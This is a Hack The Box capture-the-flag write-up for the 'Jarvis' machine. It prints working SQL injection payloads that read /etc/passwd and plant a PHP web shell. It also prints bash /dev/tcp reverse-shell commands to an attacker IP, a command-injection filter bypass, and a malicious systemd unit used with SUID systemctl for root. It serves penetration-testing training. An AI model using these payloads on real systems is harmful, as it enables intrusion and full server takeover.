Jarvis

Introduction

This write-up details the steps taken to solve the Jarvis machine from Hack The Box. The approach includes reconnaissance, enumeration, exploitation, and privilege escalation to gain root access.

Reconnaissance

Initial Nmap Scan

To begin the process, an nmap scan was conducted to identify open ports and services running on the target machine:

nmap -sV -p- 10.10.10.143

Scan Results

The scan revealed three open ports:

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp	open	http	Apache httpd 2.4.25 ((Debian))
64999/tcp	open	http	Apache httpd 2.4.25 ((Debian))

Observations

• Port 22 (SSH): Running OpenSSH 7.4p1, a common entry point for secure remote access.

• Port 80 (HTTP): Hosted a web server identified as Apache 2.4.25.

  • http-title: Stark Hotel — likely the website name.

  • http-cookie-flags: PHPSESSID did not have the httponly flag set, a minor security misconfiguration that may indicate weak session handling.

• Port 64999 (HTTP): Another Apache 2.4.25 service was running, but it lacked a title or additional identifying information.

The next step involves further enumerating the web servers on ports 80 and 64999 to uncover potential vulnerabilities or entry points.

Enumeration (Port 80)

Port 80: Stark Hotel Website

Visiting the website on port 80 revealed a hotel-themed interface:

• HTTP Title: "Stark Hotel"

• A standard hotel website layout with a navigation bar, links to rooms, and potential forms.

Room Page with Controllable cod Parameter

Navigating to the Room page, the URL used the following structure:

http://10.10.10.143/room.php?cod=1

The cod parameter was identified as controllable, meaning user input directly influenced the page’s content. This behavior hints at potential vulnerabilities like Local File Inclusion (LFI), Remote File Inclusion (RFI), or SQL Injection (SQLi).

Exploitation (SQL Injection)

SQL Injection on cod Parameter

Since the cod parameter appeared controllable, it was tested for SQL Injection vulnerabilities. A common technique is to use payloads to determine the number of columns returned by a query.

Identifying the Number of Columns

The following payloads were used:

Basic injection test:

http://10.10.10.143/room.php?cod=2 and 1=1--

This caused a result:

Then if we try with a false condition the result is not displayed confirming that the input is unsanitized.

Using the ORDER BY method to determine the column count:

http://10.10.10.143/room.php?cod=2 ORDER BY 1--

Repeating this with increasing numbers (ORDER BY 2--, ORDER BY 3--, etc.) until an error occurred helped identify the total number of columns.

Using the ORDER BY technique, it was determined that the number of columns in the query is 7. The following payloads confirmed this:

http://10.10.10.143/room.php?cod=2 ORDER BY 7--

This returned a valid response, while using ORDER BY 8-- resulted in an error, confirming that there are 7 columns.

Identifying Injectable Columns

While testing column reflection using a valid cod parameter (e.g., 2), no output was displayed. However, using an invalid value such as -1 allowed the injection results to be visible. This indicates that error-based or blind SQL injection techniques may be limited, but injecting into non-existent records provides direct feedback.

The following payload confirmed this behavior:

http://10.10.10.143/room.php?cod=-1 UNION SELECT NULL,'test','test','test','test',NULL,NULL--

The payload revealed which columns are reflected on the page. The specific columns displaying content can be used for further injection to extract sensitive data from the database.

Identifying the Database in Use

After confirming injectable columns, the next step was to identify the database in use. The following payload was used to extract the database schema:

http://10.10.10.143/room.php?cod=-1%20UNION%20SELECT%20NULL,NULL,schema_name,NULL,NULL,NULL,NULL%20from%20information_schema.schemata--

This query revealed that the database in use is hotel.

Listing the Tables in the hotel Database

With the database identified, the next step was to enumerate the tables within the hotel database using the following payload:

http://10.10.10.143/room.php?cod=-1%20UNION%20SELECT%20NULL,NULL,table_name,NULL,NULL,NULL,NULL%20from%20information_schema.tables%20where%20table_schema=%27hotel%27--

This revealed the room table as the only table in the hotel database.

Enumerating Columns in the room Table

To list the columns in the room table, the following payload was used:

http://10.10.10.143/room.php?cod=-1%20UNION%20SELECT%20NULL,NULL,columns_name,NULL,NULL,NULL,NULL%20from%20information_schema.columns%20where%20table=%27room%27--

However, since the results were limited, we had to experiment with the LIMIT clause to enumerate all columns effectively. Once all columns were visible, we found no interesting columns such as user or password. As a result, the focus shifted to file reading and further exploitation techniques.

---

File Reading via SQLi

Attempting to read system files through SQL injection was the next logical step. The following payload was used to read the /etc/passwd file, revealing system user information:

http://10.10.10.143/room.php?cod=-1%20UNION%20SELECT%20NULL,NULL,load_file(%22/etc/passwd%22),NULL,NULL,NULL,NULL--

The contents of the file were displayed as expected:

Writing Files via SQLi

Next, the ability to write files to the server was tested. A file was uploaded using the following payload:

http://10.10.10.143/room.php?cod=-1%20UNION%20SELECT%20NULL,NULL,%22test%22,NULL,NULL,NULL,NULL%20into%20outfile%20%22/var/www/html/test.txt%22--

This successfully created a file named test.txt in the /var/www/html directory.

Remote Code Execution via File Upload

Given that the web page was running PHP, an attempt to upload a PHP reverse shell script was made using the following payload:

http://10.10.10.143/room.php?cod=-1%20UNION%20SELECT%20NULL,NULL,%22%3C?php%20echo%20system($_GET[%27cmd%27]);%20?%3E%22,NULL,NULL,NULL,NULL%20into%20outfile%20%22/var/www/html/shell.php%22--

This created a PHP shell at /var/www/html/shell.php.

Getting a Reverse Shell

Finally, a reverse shell was obtained by accessing the PHP shell and passing the cmd parameter with a bash command to initiate a reverse shell:

http://10.10.10.143/shell.php?cmd=bash+-c+%27exec+bash+-i+%26%3E/dev/tcp/10.10.14.22/4444+%3C%261%27

This successfully connected to the attacker's listener, providing a reverse shell with access to the target machine as www-data.

Privilege Escalation (www-data -> pepper)

Identifying a Python Script Vulnerability

In the /var/www/Admins-Utilities directory, a Python script was found that could be executed as the pepper user without requiring its password. This script was identified as a potential privilege escalation vector.

The script itself is a python3 script used to manage and provide statistics on the webserver:

#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/
                                @ironhackers.es

***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()

    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1

    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req

def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]

def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

The script provides three command-line options:

1. Display statistics about recent attacks

2. List the attacker IPs

3. Ping an IP address

I’m particularly interested in the ping option because I suspect the script might not handle the ping operation purely in Python, and instead, it likely relies on a system or subprocess call. Upon inspection, I confirm this:

pythonCopiar códigodef exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')   
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

The exec_ping function is executed directly from the main block when the -p option is provided:

pythonCopiar códigoif __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

Command Injection Vulnerability

The vulnerability lies in the way user input is handled in the exec_ping function, where the input is directly used in the os.system call:

os.system('ping ' + command)

This approach is vulnerable to command injection. While the script filters out certain forbidden characters such as &, ;, -, `, ||, and |, the author overlooked another key bash syntax: $(). This allows me to inject arbitrary commands and bypass the forbidden characters filter.

Now, I can test this vulnerability by using the $() syntax to execute additional commands along with the ping command.

None of the reverse shells I’m aware of can run without using at least one of those characters, but I can work around this by writing the commands I want to execute into a file and then running that file instead.

Finally execute the python script using sudo as pepper user:

Privilege Escalation (pepper -> root)

I found that the /bin/systemctl binary had the SUID permission set, which allowed any user to execute it with root privileges. The SUID bit lets a program run with the permissions of its owner, in this case, root.

Since systemctl manages system services, this could be exploited for privilege escalation. By executing systemctl as a regular user, I could manipulate services or run arbitrary commands with root access.

The presence of this SUID permission on such an important binary posed a significant security risk, which could be leveraged for further escalation.

Exploiting SUID on /bin/systemctl

To escalate privileges using the SUID-enabled /bin/systemctl, I followed these steps:

Create a malicious root.service file: I created a systemd service file named root.service with the following content:

makefileCopiar código[Unit]
Description=roooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.22/9999 0>&1'

[Install]
WantedBy=multi-user.target

This service starts a reverse shell to my attacker's machine on IP 10.10.14.22 and port 9999.

Execute the payload: I used the following command to enable the service, which would make it start automatically:

/bin/systemctl enable /home/pepper/root.service

Start the listener and get the shell as root: I started the service with the following command:

/bin/systemctl start root

This triggered the reverse shell, and I successfully gained a root shell.